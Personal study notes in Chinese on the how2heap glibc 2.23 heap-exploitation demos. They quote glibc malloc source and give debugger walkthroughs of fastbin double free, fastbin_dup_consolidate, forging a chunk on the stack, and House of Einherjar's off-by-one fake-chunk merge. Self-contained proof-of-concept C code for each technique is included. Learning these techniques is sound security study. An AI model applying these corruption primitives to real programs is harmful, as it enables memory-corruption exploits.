how2heap 2.23版本

前言

这里本身是我为了学习堆利用进行学习的才记录的,所以从glibc2.23版本开始,题目里对应的glibc源码都是glibc2.23-0ubuntu3的,本人学习不久,难免有错误,希望师傅能够指正,个人博客

编译及链接

首先安装对应glibc版本

./download 2.23-0ubuntu3_amd64

编译程序

gcc -g -no-pie fastbin_dup.c -o fastbin_dup

【这里-g是可以根据代码对应的行数来下断点】

链接对应版本的glibc库

22.04

sudo patchelf --set-rpath /home/pwn/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ fastbin_dup 

sudo patchelf --set-interpreter /home/pwn/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 fastbin_dup

编译完后运行程序,发现报错:

/home/pwn/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6: version `GLIBC_2.34' not found (required by /home/pwn/Desktop/how2heap/how2heap-master/glibc_2.23/fastbin_dup)

貌似gcc是高版本的问题而glibc是低版本,手动编译

sudo wget http://ftp.gnu.org/gnu/glibc/glibc-2.23.tar.gz

最后懒得搞了,直接在另一个虚拟机上用

Ubuntu18.04下:

sudo patchelf --set-rpath /home/ctfshow/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ fastbin_dup

sudo patchelf --set-interpreter /home/ctfshow/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so fastbin_dup

这个就没有报错

bin的大小及合并:

fast bin

从0x20到0x80(64位,大小不是malloc时的大小,而是在内存中struct malloc_chunk的大小,包含前2个成员),且在放进fsatbin中不会进行合并也就是他的prev_insuer一直为零

合并时机:

fastbin会在以下情况下进行合并(合并是对所有fastbin中的chunk而言)。
malloc:

  1. 在申请large chunk时。
  2. 当申请的chunk需要申请新的top chunk时。
    free:
  3. free的堆块大小大于fastbin中的最大size。(注意这里并不是指当前fastbin中最大chunk的size,而是指fastbin中所定义的最大chunk的size,是一个固定值。)

另外:malloc_consolidate既可以作为fastbin的初始化函数,也可以作为fastbin的合并函数。

https://bbs.kanxue.com/thread-257742.htm

smallbin

小于1024字节(0x400)的chunk称之为small chunk,small bin就是用于管理small chunk的。

small bin链表的个数为62个。

就内存的分配和释放速度而言,small bin比larger bin快,但比fast bin慢。

合并操作:

相邻的free chunk需要进行合并操作,即合并成一个大的free chunk

free操作

small的free比较特殊。当释放small chunk的时候,先检查该chunk相邻的chunk是否为free,如果是的话就进行合并操作:将这些chunks合并成新的chunk,然后将它们从small bin中移除,最后将新的chunk添加到unsorted bin中,之后unsorted bin进行整理再添加到对应的bin链上(后面会有图介绍)。

largebin

大于等于1024字节(0x400)的chunk称之为large chunk,large bin就是用于管理这些largechunk的。

large bin链表的个数为63个,被分为6组。

largechunk使用fd_nextsize、bk_nextsize连接起来的。

合并操作:类似于small bin

https://www.cnblogs.com/trunk/p/16863185.html

https://blog.csdn.net/qq_41453285/article/details/96865321

1.fastbin_dup.c

介绍了double free的漏洞,再free后指针没有被置空的情况,可以再次释放,导致我们后面申请的两次堆块可以指向同一个chunk进行利用

1.源码:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = malloc(8);
	b = malloc(8);
	c = malloc(8);
	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	assert(a == c);
}

2.调试程序

执行前18行后,查看堆情况

执行第19行:

free(a);

可以从下面看到 chunk a已经进入fastbin,然后此时fastbin只有他一个,并且是第一个进入的,所以fd为0

再执行到25行free(b)

可以发现,释放的chunk b fd指向了前面释放的chunk a,这里是由于fastbin的后进先出的由于,fastbin->新释放的chunk->上一个释放的chunk

执行第28行free(a)

这里就发现了,将已经释放过的chunk a再次释放,就会导致被再次添加到fastbin中(原本a第一次进入fastbin中没有改变chunk 的结构),所以会被当作新释放的chunk来放入fastbin

这里其实有个隐藏的问题:为什么不直接连续释放两次chunk a?
这里会有一个检测,指向新释放的chunk是main_arena(我写他为fastbin很便于理解),再释放的时候仅仅验证了main_arena指向的chunk,第一次释放chunk a后,main_arena会指向chuank a,那么紧接着再次释放chunk a,会被通过检测main_arena指向的chunk给识别出来,导致错误

这里在glibc2.23源码是:3935行
if (__builtin_expect (old == p, 0))//if you release the same address twice,就报错double free错误
	  {
	    errstr = "double free or corruption (fasttop)";
	    goto errout;
	  }

glibc2.23对于double free的管理非常地松散,如果连续释放相同chunk的时候,会报错,但是如果隔块释放的话,就没有问题。在glibc2.27及以后的glibc版本中,加入了tcache机制,加强了对use after free的检测,所以glibc2.23中针对fastbin的uaf在glibc2.27以后,就失效了

此时fastbin中的结构是:

fastbin->chunk a(新释放的)->chunk b->chunk a【fastbin是单项链表】

执行到第31行

a=malloc(8);

查看堆情况:

看起来和没有执行a=malloc(8)一样:

但是查看fastbin就有区别了:

现在变成了fastbin->chunk b->chunk a

执行32行b = malloc(8);

这里已经摘除chunk b,所以fastbin指向了chunk a,而这里又发现 chunk a又指向了chunk b,初步认为是在前面malloc(a),没有将fd置空,

执行33行c=malloc(8)

这里符合猜想,a、b两个chunk的fd互相指向对方,而切再申请后没有清空,就导致了无限循环

接下来仍然和之前一样:

执行到程序结束

程序运行结果:

这里也符合预期,第一次和第三次指向同一个chun a

注意【fastbin链表的存放的chunk头指针,都存储在堆中名为arena的空间的,直接用dq &main_arena 20查看

2.fastbin_dup_consolidate

介绍了double free的合并行为,在fastbin不为空时申请一个largebin会使这个fastbin进行合并(这里与top chunk合并,并且直接释放满足fastbin的chunk是不会与top chunk合并的),指针没有被置空的情况,可以利用前面释放的指针再次释放第二次申请的指针,导致我们第首次申请时,三个指针指向同一个chunk

这个漏洞,使得我们可以通过其他的指针来修改同一个chunk从而被我们利用(或许可以绕过某些检测)

利用malloc.consolidate函数

glibc2.23源码(4108-4218行):

在glibc2.23中当fasbin中有chunk存在,申请一个largebin范围的chunk,就执行该函数(再_int_malloc()3447行会再分配largebin时执行该函数,会将fastbin先看该chunk是否紧挨着top chunk不紧挨着就转移到unsortedbin中,malloc函数会在unsortedbin查询符合大小的chunk,发现新转移来的chunk,判断这些chunk是否符合smallbin的大小,如果符合smallbin,就加入到smallbin中,否则就到largebin中

/*
  ------------------------- malloc_consolidate -------------------------

  malloc_consolidate is a specialized version of free() that tears
  down chunks held in fastbins.  Free itself cannot be used for this
  purpose since, among other things, it might place chunks back onto
  fastbins.  So, instead, we need to use a minor variant of the same
  code.

  Also, because this routine needs to be called the first time through
  malloc anyway, it turns out to be the perfect place to trigger
  initialization code.
*/

static void malloc_consolidate(mstate av)
{
  mfastbinptr*    fb;                 /* current fastbin being consolidated */
  mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
  mchunkptr       p;                  /* current chunk being consolidated */
  mchunkptr       nextp;              /* next chunk to consolidate */
  mchunkptr       unsorted_bin;       /* bin header */
  mchunkptr       first_unsorted;     /* chunk to link to */

  /* These have same use as in free() */
  mchunkptr       nextchunk;
  INTERNAL_SIZE_T size;
  INTERNAL_SIZE_T nextsize;
  INTERNAL_SIZE_T prevsize;
  int             nextinuse;
  mchunkptr       bck;
  mchunkptr       fwd;

  /*
    If max_fast is 0, we know that av hasn't
    yet been initialized, in which case do so below
  */

  if (get_max_fast () != 0) {
    clear_fastchunks(av);

    unsorted_bin = unsorted_chunks(av);

    /*
      Remove each chunk from fast bin and consolidate it, placing it
      then in unsorted bin. Among other reasons for doing this,
      placing in unsorted bin avoids needing to calculate actual bins
      until malloc is sure that chunks aren't immediately going to be
      reused anyway.
    */

    maxfb = &fastbin (av, NFASTBINS - 1);
    fb = &fastbin (av, 0);
    do {
      p = atomic_exchange_acq (fb, 0);
      if (p != 0) {
	do {
	  check_inuse_chunk(av, p);
	  nextp = p->fd;

	  /* Slightly streamlined version of consolidation code in free() */
	  size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
	  nextchunk = chunk_at_offset(p, size);
	  nextsize = chunksize(nextchunk);

	  if (!prev_inuse(p)) { //判断向前合并
	    prevsize = p->prev_size;
	    size += prevsize;
	    p = chunk_at_offset(p, -((long) prevsize));
	    unlink(av, p, bck, fwd);
	  }

	  if (nextchunk != av->top) {//不紧挨着topchunk
	    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

	    if (!nextinuse) {
	      size += nextsize;
	      unlink(av, nextchunk, bck, fwd);
	    } else
	      clear_inuse_bit_at_offset(nextchunk, 0);

	    first_unsorted = unsorted_bin->fd; //插入到unstored_bin中
	    unsorted_bin->fd = p;
	    first_unsorted->bk = p;

	    if (!in_smallbin_range (size)) { //不符合smallbin的范围进入largebin
	      p->fd_nextsize = NULL;
	      p->bk_nextsize = NULL;
	    }

	    set_head(p, size | PREV_INUSE);
	    p->bk = unsorted_bin;
	    p->fd = first_unsorted;
	    set_foot(p, size);
	  }

	  else { //下一个chunk为top chunk
	    size += nextsize;
	    set_head(p, size | PREV_INUSE);
	    av->top = p;
	  }

	} while ( (p = nextp) != 0);

      }
    } while (fb++ != maxfb);
  }
  else {
    malloc_init_state(av); //初始化
    check_malloc_state(av);
  }
}


源码:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
	// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
	puts("This is a powerful technique that bypasses the double free check in tcachebin.");
	printf("Fill up the tcache list to force the fastbin usage...\n");

	void* p1 = calloc(1,0x40);//先分配一个小的chunk

	printf("Allocate another chunk of the same size p1=%p \n", p1);
	printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
	free(p1);//释放进入fastbin

	void* p3 = malloc(0x400);//分配一个大的chunk,小的如果紧挨着topchunk就与top chunk 合并
	printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
	printf("will trigger the malloc_consolidate and merge\n");
	printf("the fastbin chunks into the top chunk, thus\n");
	printf("p1 and p3 are now pointing to the same chunk !\n\n");

	assert(p1 == p3);

	printf("Triggering the double free vulnerability!\n\n");
	free(p1);//释放这个largebin

	void *p4 = malloc(0x400);

	assert(p4 == p3);

	printf("The double free added the chunk referenced by p1 \n");
	printf("to the tcache thus the next similar-size malloc will\n");
	printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}

执行情况:

先申请一个小chunk,释放后进入fastbin,然后再申请一个大chunk,将小chunk放入unsortedbin然后再放入对应的chunk(small chunk),这个申请的大chunk会将前面释放的小的chunk合并,作为这个申请的大chunk的部分使用

2.调试程序:

1.执行完p1=calloc(1,0x40)

2.执行到free(p1);

3.执行到p3 = malloc(0x400);

从下面的图里可以发现

p1被合并了,这是因为p1紧紧挨着top chunk,导致申请一个large_bin会执行malloc_consolidate (av);

这样会将fastbin进行变动,紧挨着top chunk就会与top chunk合并,不紧挨着就会进入unsorted再判断进入small_bin还是large_bin,因此p1的chunk就与top chunk合并,接着就被p3给申请了(p3 = malloc(0x400)),所以p3与p1指针是同一个地址(因此能够顺利通过22行assert(p1 == p3);的判断),就将p1的chunk覆盖了

4.执行到25行free(p1);

可以发现原本应该是p3的chunk,通过释放p1也释放了,因为p1=p3,最终就回归了top chunk

5.执行到27行p4 = malloc(0x400)

注意这里是p4,这里接着从top chunk申请一个large chunk,可以发现仍然占用的是前面p1和p3的位置

6.程序运行结束

最后运行结果也展示了p1、p3和p4的地址都是同一个,也证明了即使释放(free)后,没有将指针置空就导致会被复用,导致可以通过其他的指针对一个chunk进行修改,

3.fastbin_dup_into_stack.c

该例子通过在栈上找到(伪造)一个合适的size来,然后通过double free来进行修改chunk的fd,最后就能够申请到这个栈空间作为chunk,从而对栈进入任意的修改

这里为什么fastbin只要构造一个size就可以伪造成功,这里根据源码可以知道(3368行):

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))  //这里是申请对fastbin申请chunk
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          if (victim == NULL)
            break;
        }
      while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
             != victim);
      if (victim != 0)
        {     //检测链表的size是否合法
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            { //不合法
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            } //合法得到符合的返回
          check_remalloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

fastbin中检查机制比较少,而且fastbin作为单链表结构,同一链表中的元素由fd指针来进行维护。同时fastbin不会对size域的后三位进行检查

1.程序源码:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", d);
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}


初步看源码大概了解了程序的运行,不过对于48行的sizeof(d)存有疑问,大小是多少(这里应该是一个指针的大小即8字节),这里是将d的地址直接改为了fake_chunk的地址(也就是改了a的地址),但是在fastbin链表的fd指针的值也被这种方式修改了吗

后面反应过来,malloc返回的指针是数据段的位置而不是pre_size,所以直接修改*d等于修改的是对应chunk的fd(修改的是*d指向地址内的值)

2.调试程序:

1.执行第9行unsigned long long stack_var;

查看此处定义的栈参数的地址

这个栈地址是0x7fffffffdcb0

2.执行到第17行

int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

申请了3个chunk,查看堆情况

3.执行23行free(a)

查看堆,a已经进入了fastbin

4.执行29行free(b)

释放b是为了绕过检测,使chunk a不是于fastbin直接相连的chunk,这样第二次释放就不会被检测出来

5.执行32行free(a)

对a进行再次释放(double free

在fastbin中已经变成了 fastbin->chunk a->chunk b->chunk a

6.执行36行unsigned long long *d = malloc(8);

此时d申请的chunk会是chunk a,此时*d=*a

打印指针d (发现是是chunk a的fd位置的地址)

7.执行39行malloc(8)

此时剩下的chunk a是第一次释放的(不是第二次释放的)

8.执行45行 stack_var = 0x20;

改变栈的值=0x20,为了构造fake_chunk,因为这里要作为fake_chunk的size位,那么我们就需要fastbin中的chunk的fd指向pre_size的位置,也就是&stack_var-8

查看stack_var的地址0x7fffffffdcb0 ,所以要将其0x7fffffffdca8作为chunk a 的fd位的值

9.执行48行*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

这里修改了d指针内存放的值,改为了stack_var地址-0x8,(sizeof(d)计算指针的大小为8字节)

此时还可以发现fastbin中fake_chunk指向了chunk a 的fd处,但是这时可以通过下面发现0x555555759018的地方为0,修改的话也可以作为一个chunk来使用

10.执行50行malloc(8)

这时会将chunk a申请出去,然后fastbin指向fake_chunk

可以看到abc三个chunk都已经不在fastbin中了,fasstbin指向了fake_chunk

11.执行51行malloc(8)

这时就会将我们伪造出来的fake_chunk申请出来,可以通过程序的读写功能进行修改,这里的fake_chunk是在栈上,也就是说我们其实通过这种方式最终将栈空间申请了出来进行改写

此时我们就得到了一个伪造在栈空间的chunk

12.程序运行结果

发现了通过这种double free就可以申请一个栈空间来进行改写,只不过需要在栈上先伪造一个size位符合大小,才能用这种方式

4.house_of_einherjar(off by one利用,可进行向后合并)

利用了off by one 漏洞不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的 PREV_INUSE 比特位,通过这个方式可以进行向后合并操作(需要绕过unlink检测),通过这个将我们构造的任意地方的fake_chunk申请回来进行利用

free 函数(向后合并,4002行)【向后合并其实是低地址的早就是空闲的chunk与高地址的chunk合并,p指针指向低地址】:

        /* consolidate backward */
        if (!prev_inuse(p)) { //检测p位是否为0
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd); //这里会触发unlink
        }
      /* consolidate forward ,本例子没有用到,只是对比一下区别,这里直接吞并高地址*/
      if (!nextinuse) {
	unlink(av, nextchunk, bck, fwd);
	size += nextsize;
      } else
	clear_inuse_bit_at_offset(nextchunk, 0);

1.程序源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to House of Einherjar!\n");
	printf("Tested in Ubuntu 16.04 64bit.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* d;

	printf("\nWe allocate 0x38 bytes for 'a'\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\n", a);
	
	int real_a_size = malloc_usable_size(a);
	printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

	// create a fake chunk
	printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
	printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
	printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
	printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

	size_t fake_chunk[6];

	fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
	fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
	fake_chunk[2] = (size_t) fake_chunk; // fwd
	fake_chunk[3] = (size_t) fake_chunk; // bck
	fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
	fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


	printf("Our fake chunk at %p looks like:\n", fake_chunk);
	printf("prev_size (not used): %#lx\n", fake_chunk[0]);
	printf("size: %#lx\n", fake_chunk[1]);
	printf("fwd: %#lx\n", fake_chunk[2]);
	printf("bck: %#lx\n", fake_chunk[3]);
	printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
	printf("bck_nextsize: %#lx\n", fake_chunk[5]);

	/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0xf8);//没有满足对其
	int real_b_size = malloc_usable_size(b);//这里是0x100,自动对齐

	printf("\nWe allocate 0xf8 bytes for 'b'.\n");
	printf("b: %p\n", b);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
	/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\nb.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x100) | prev_inuse = 0x101\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; 
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("This is easiest if b.size is a multiple of 0x100 so you "
		   "don't change the size of b, only its prev_inuse bit\n");
	printf("If it had been modified, we would need a fake chunk inside "
		   "b where it will try to consolidate the next chunk\n");

	// Write a fake prev_size to the end of a
	printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
		   "it will consolidate with our fake chunk\n", sizeof(size_t));
	size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
	printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	//Change the fake chunk's size to reflect b's new prev_size
	printf("\nModify fake chunk's size to reflect b's new prev_size\n");
	fake_chunk[1] = fake_size;

	// free b and it will consolidate with our fake chunk
	printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
	free(b);
	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

	//if we allocate another chunk before we free b we will need to 
	//do two things: 
	//1) We will need to adjust the size of our fake chunk so that
	//fake_chunk + fake_chunk's size points to an area we control
	//2) we will need to write the size of our fake chunk
	//at the location we control. 
	//After doing these two things, when unlink gets called, our fake chunk will
	//pass the size(P) == prev_size(next_chunk(P)) test. 
	//otherwise we need to make sure that our fake chunk is up against the
	//wilderness

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
	d = malloc(0x200);
	printf("Next malloc(0x200) is at %p\n", d);
}

typedef 定义的类型(本质上是一个 char 类型)

typedef unsigned char           uint8_t;

(当一个 chunk 在使用的时候,它的下一个 chunk 的 previous_size 记录了这个 chunk 的大小,而在fastbin中,不会将p为置为0,所以pre_size=上一个chunk 的size)

程序流程是:

先申请一个堆a = (uint8_t*) malloc(0x38),【不知道为什么实际申请的是0x30】,然后创建一个数组size_t fake_chunk[6]; ,用该数组来作为fake_chunk(构造该结构符合chunk),接着再申请一个堆b = (uint8_t*) malloc(0xf8);【这里实际大小为0x100】

接着利用a[real_a_size] = 0; 划重点!!通过这种方式将b的size的p标志位覆盖为0,导致成为0x100(原来是0x101,代表上一个chunk被占用),这里代表上一个chunk是被释放的 ;能导致覆盖的原因是数组的0x38其实是第0x39个位置(a[0x38]

然后修改fake_size为 从b头指针到fake_chunk的头指针的大小(size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);

2.调试程序

1.执行到27行a = (uint8_t*) malloc(0x38);

这里申请的是0x38的chunk,但是实际只有0x30【~~不过却可以修改0x40范围的数据,这点存疑 ~~ 后面理解是因为挨着的top chunk的p位是1,那么证明这个chunk a 被使用,可以使用下个chunk的size位】

2.执行到31行printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

查看a的真实大小,发现是0x38(只算data域,这里基本是与下一个chunk的pre_siez共用了)

3.执行到55行伪造chunk再栈上

size_t fake_chunk[6];

	fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
	fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
	fake_chunk[2] = (size_t) fake_chunk; // fwd
	fake_chunk[3] = (size_t) fake_chunk; // bck
	fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
	fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


	printf("Our fake chunk at %p looks like:\n", fake_chunk);
	printf("prev_size (not used): %#lx\n", fake_chunk[0]);
	printf("size: %#lx\n", fake_chunk[1]);
	printf("fwd: %#lx\n", fake_chunk[2]);
	printf("bck: %#lx\n", fake_chunk[3]);
	printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
	printf("bck_nextsize: %#lx\n", fake_chunk[5]);

这里的伪造为了绕过unlink检测(后面要将这个块视为larger bin取出来合并)

unlink的检测(在后面free触发合并的时候才执行):

#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) //检测是否为双链表结构
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)	//判断是否为lagrebin			      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);   //判断largebin是否为双链表结构
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

unlink检测只是检测了要被取出来的chunk是否是双链表结构,而不检查其是否真的在smallbin或者largebin中,因此例子里就fd,bk等等指向自己,用自己构造了一个双链表满足条件来绕过检测

4.执行到64行

	b = (uint8_t*) malloc(0xf8);
	int real_b_size = malloc_usable_size(b);

	printf("\nWe allocate 0xf8 bytes for 'b'.\n");
	printf("b: %p\n", b);

这里感觉pwndbg的显示堆大小是加上了头部的0x10,并没有算上下个chunk的pre_size位,实际大小是加上下一个chunk的pre_size才到0xf8的大小

5.执行到69行

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
	/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\nb.size: %#lx\n", *b_size_ptr);

这里用b_size_ptr指针指向了chunk b 的size位,,打印了size的值

这里的也是头部的0x10然后没有算上共用的pre_size位

6. 执行到77行

	printf("\nb.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x100) | prev_inuse = 0x101\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; 
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("This is easiest if b.size is a multiple of 0x100 so you "
		   "don't change the size of b, only its prev_inuse bit\n");
	printf("If it had been modified, we would need a fake chunk inside "
		   "b where it will try to consolidate the next chunk\n");

这里是利用a[real_a_size]来进行溢出,覆盖chunk b 的size的p位为0,因为这里是利用了数组a[0x38]实际是第0x39的位置 ,这里P标志位为0后,上一个chunk就会被视为是空闲的chunk,可以绕过free的检测,并且会将pre_siez的值视为上一个chunk(紧挨着的低地址的chunk)的size大小

7.执行到83行

	size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
	printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);

这里计算了要伪造fake_chunk的size大小(chunk b为高地址作为下一个chunk,而fake_chunk的地址为低地址,作为上一个chunk),所以size大小(距离)是高地址减地址,这里b-sizeof(size_t)*2)是从b的头部指针开始,上面的计算结果就是图里的fake_size

这里的结果其实是负数,其实也就是fake_chunk在高地址处,不过为了合并就将它视为地址

8.执行到88行

	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	//Change the fake chunk's size to reflect b's new prev_size
	printf("\nModify fake chunk's size to reflect b's new prev_size\n");
	fake_chunk[1] = fake_size;

这里是将b的pre_size修改为了fake_chunk的大小(a的数据段用了b的pre_size,所以可以修改),也就让合并时可以通过b的pre_size向前寻找这个大小找到fake_chunk;后面也修改了fake_chunk的size

9.执行到93行

	// free b and it will consolidate with our fake chunk
	printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
	free(b);
	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

这里就free(b),会触发合并,上面几个步骤修改fake_chunk的size为fake_size的地方其实是为了绕过一个检测(没有在源码找到对于检测),这样能够成功合并

在fake_chunk中,它的size被改变了,但是与示例注释说明的并不一样,其size增加了20FC1(0x77C351-0x75B390)

10.执行到最后

//if we allocate another chunk before we free b we will need to 
	//do two things: 
	//1) We will need to adjust the size of our fake chunk so that
	//fake_chunk + fake_chunk's size points to an area we control
	//2) we will need to write the size of our fake chunk
	//at the location we control. 
	//After doing these two things, when unlink gets called, our fake chunk will
	//pass the size(P) == prev_size(next_chunk(P)) test. 
	//otherwise we need to make sure that our fake chunk is up against the
	//wilderness

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
	d = malloc(0x200);
